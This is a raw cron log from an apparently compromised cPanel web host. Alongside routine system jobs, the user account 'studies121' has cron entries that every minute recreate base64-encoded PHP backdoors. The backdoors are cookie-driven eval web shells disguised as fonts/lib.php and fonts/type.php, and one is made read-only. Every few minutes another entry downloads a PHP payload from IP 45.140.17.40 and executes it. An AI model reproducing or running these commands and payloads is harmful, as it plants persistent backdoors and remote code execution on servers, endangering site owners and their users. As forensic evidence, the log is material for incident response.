Sep 12 01:29:01 ip-184-168-122-23 CROND[2706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:29:01 ip-184-168-122-23 CROND[2705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:30:02 ip-184-168-122-23 CROND[2814]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:30:02 ip-184-168-122-23 CROND[2816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:30:02 ip-184-168-122-23 CROND[2819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:30:02 ip-184-168-122-23 CROND[2818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:30:02 ip-184-168-122-23 CROND[2820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:30:02 ip-184-168-122-23 CROND[2824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:30:02 ip-184-168-122-23 CROND[2823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:30:02 ip-184-168-122-23 CROND[2821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:31:01 ip-184-168-122-23 CROND[2920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:31:01 ip-184-168-122-23 CROND[2922]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:31:01 ip-184-168-122-23 CROND[2923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:31:01 ip-184-168-122-23 CROND[2925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:31:01 ip-184-168-122-23 CROND[2926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:32:01 ip-184-168-122-23 CROND[3091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:32:01 ip-184-168-122-23 CROND[3093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:32:01 ip-184-168-122-23 CROND[3094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:32:01 ip-184-168-122-23 CROND[3095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:32:01 ip-184-168-122-23 CROND[3096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:33:01 ip-184-168-122-23 CROND[3192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:33:01 ip-184-168-122-23 CROND[3193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:33:01 ip-184-168-122-23 CROND[3194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:33:01 ip-184-168-122-23 CROND[3195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:34:01 ip-184-168-122-23 CROND[3282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:34:01 ip-184-168-122-23 CROND[3285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:34:01 ip-184-168-122-23 CROND[3284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:34:01 ip-184-168-122-23 CROND[3286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:34:01 ip-184-168-122-23 CROND[3287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:35:01 ip-184-168-122-23 CROND[3385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:35:01 ip-184-168-122-23 CROND[3389]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:35:01 ip-184-168-122-23 CROND[3388]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 01:35:01 ip-184-168-122-23 CROND[3392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:35:01 ip-184-168-122-23 CROND[3387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:35:01 ip-184-168-122-23 CROND[3390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:35:01 ip-184-168-122-23 CROND[3393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:35:01 ip-184-168-122-23 CROND[3391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:36:01 ip-184-168-122-23 CROND[3504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:36:01 ip-184-168-122-23 CROND[3507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:36:01 ip-184-168-122-23 CROND[3508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:36:01 ip-184-168-122-23 CROND[3506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:36:01 ip-184-168-122-23 CROND[3509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:37:01 ip-184-168-122-23 CROND[3697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:37:01 ip-184-168-122-23 CROND[3698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:37:01 ip-184-168-122-23 CROND[3700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:37:01 ip-184-168-122-23 CROND[3699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:38:01 ip-184-168-122-23 CROND[3779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:38:01 ip-184-168-122-23 CROND[3780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:38:01 ip-184-168-122-23 CROND[3783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:38:01 ip-184-168-122-23 CROND[3782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:38:01 ip-184-168-122-23 CROND[3781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:39:01 ip-184-168-122-23 CROND[3867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:39:01 ip-184-168-122-23 CROND[3868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:39:01 ip-184-168-122-23 CROND[3869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:39:01 ip-184-168-122-23 CROND[3871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:39:01 ip-184-168-122-23 CROND[3874]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 01:40:01 ip-184-168-122-23 CROND[3978]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:40:01 ip-184-168-122-23 CROND[3984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:40:01 ip-184-168-122-23 CROND[3979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:40:01 ip-184-168-122-23 CROND[3982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:40:01 ip-184-168-122-23 CROND[3981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:40:01 ip-184-168-122-23 CROND[3980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:40:01 ip-184-168-122-23 CROND[3983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:40:01 ip-184-168-122-23 CROND[3985]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:41:01 ip-184-168-122-23 CROND[4085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:41:01 ip-184-168-122-23 CROND[4086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:41:01 ip-184-168-122-23 CROND[4087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
